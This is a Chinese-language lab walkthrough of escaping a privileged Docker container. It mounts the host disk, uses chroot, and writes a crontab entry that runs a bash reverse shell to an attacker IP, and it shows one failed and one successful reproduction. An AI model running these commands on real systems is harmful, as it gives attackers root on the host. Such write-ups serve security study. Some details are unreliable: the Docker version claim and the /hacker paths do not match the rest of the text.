一、漏洞简介
Docker特权模式是一种容器运行模式,它允许容器以较高的权限运行,从而能够访问宿主机的几乎所有设备和资源。特权模式的主要目的是为了提供更大的灵活性和功能,以便容器可以执行一些通常需要更高权限的操作。
特权模式在6.0版本的时候被引入Docker,其核心作用是允许容器内的root拥有外部物理机的root权限,而此前在容器内的root用户只有外部物理机普通用户的权限。
Docker特权模式容器逃逸是指在容器以特权模式启动时,攻击者可以利用容器的高权限访问宿主机的文件系统或其他资源,从而实现对宿主机的控制。
二、逃逸的基本原理
当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。
总之,使用特权模式启动容器后(docker run –privileged):Docker容器被允许可以访问主机上的所有设备、可以获取大量设备文件的访问权限、可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务contrab等方式在宿主机执行命令。(反弹shell)
三、漏洞复现(centos7复现失败)
特权模式逃逸是一种最简单有效的逃逸方法,攻击者可以通过挂载宿主机目录到容器某个目录下,直接通过命令、写ssh公钥和crontab等getshell。
3.1 特权模式启动容器
(1)创建容器时通过添加–privileged=true参数,将容器以特权模式启动
docker run -itd --name privilegeTestUbuntu --privileged ubuntu:18.04
命令详解:
docker run
: 创建并启动一个新的容器.-itd
:
-i
或--interactive
: 保持标准输入(STDIN)打开,即使不附加到容器终端.-t
或--tty
: 分配一个伪终端.-d
或--detach
: 在后台运行容器并返回容器ID.--name privilegeTestUbuntu
: 为容器指定一个名称--privileged
: 以特权模式运行容器. 这将给予容器几乎与宿主机相同的权限,使其可以访问宿主机的所有设备、文件系统等.
- 在k8s中,在pod的yaml配置中添加如下配置时,也会以特权模式启动容器
securityContext:
privileged: true
(2) 特权模式起的容器,实战中可通过cat /proc/self/status |grep Cap
命令判断当前容器是否通过特权模式起(0000001fffffffff代表为特权模式起动)
关注CapEff的值,0000001fffffffff代表为特权模式起动(存疑)。
3.2 将宿主机根目录挂载进容器目录
fdisk -l命令查看宿主机设备为/dev/vda1
通过mount命令将宿主机根目录挂载进容器目录的test中
mount /dev/sda1 /home/test
/home/test 目录中挂载过来的内容并不是宿主机的根目录。
3.3 改变根目录,写宿主机目录
使用chroot改变根目录
chroot /home/test/
容器中没有 /bin/sh,从宿主机复制一个进去试一下:
还是报错。
复现失败。
四、逃逸复现(ubuntu14.04复现成功)
具体环境见本站《三层网络域渗透靶场(WHOAMII)搭建》一文,ubuntu系统为环境中对应的名为web2的系统。
4.1 判断Docker容器是否是特权模式
如果是以特权模式启动的话,CapEff对应的掩码值应该为0000003fffffffff。
4.2 查看系统目录
fdisk -l
是一个常用的命令,用于列出系统中所有可用的磁盘分区信息。fdisk
是一个磁盘分区表操作工具,而-l
选项用于列出所有分区表信息,而不进行任何修改。
宿主机根目录为 /dev/sda1
4.3 挂载系统目录
mount /dev/sda1 /home/test
4.4 chroot改变根目录
使用chroot改变根目录进入到宿主机的磁盘空间。
chroot /home/test/
4.5 攻击端监听反弹shell
这里kali的ip 192.168.52.5/24,受害主机的ip为 192.168.52.20/24。具体攻击场景中,如果受害主机可以出网,攻击者可以用公网的VPS来介绍反弹的shell连接。
4.6 直接执行命令或写crontab
4.6.1 直接执行反弹shell的命令
bash -i >& /dev/tcp/192.168.52.5/4444 0>&1
直接执行失败。chroot之后进入的是宿主机的目录,但是并不具备直接在宿主机执行命令的能力。可以通过操作宿主机文件(定时任务配置文件)的方式来实现反弹shell。
4.6.2 定时任务
- 尝试直接写定时任务:
crontab -e
写入失败。
- 编辑配置文件:
尝试在chroot之前(或者exit退出chroot的目录之后)直接写入/home/test/etc/crontab 配置文件。
echo "* * * * * root bash -i >& /dev/tcp/192.168.52.5/5555 0>&1" >> /home/test/etc/crontab(每分钟执行一次)
获取反弹shell失败。
4.6.3 先创建任务脚本再创建任务执行
将bash反弹命令写入到创建的sh文件里面:
echo "bash -i >& /dev/tcp/192.168.52.5/4444 0>&1" >/home/test/hacker.sh
设置脚本的权限:
在编写计划任务到/hacker/etc/crontab文件中:
echo "* * * * * root bash /hacker.sh" >> /hacker/etc/crontab(每分钟执行一次)
4.7 攻击端接收反弹shell
由于定时任务是每分钟执行一次,所以有可能需要稍微等待一会儿。
攻击端成功获取到root权限的shell。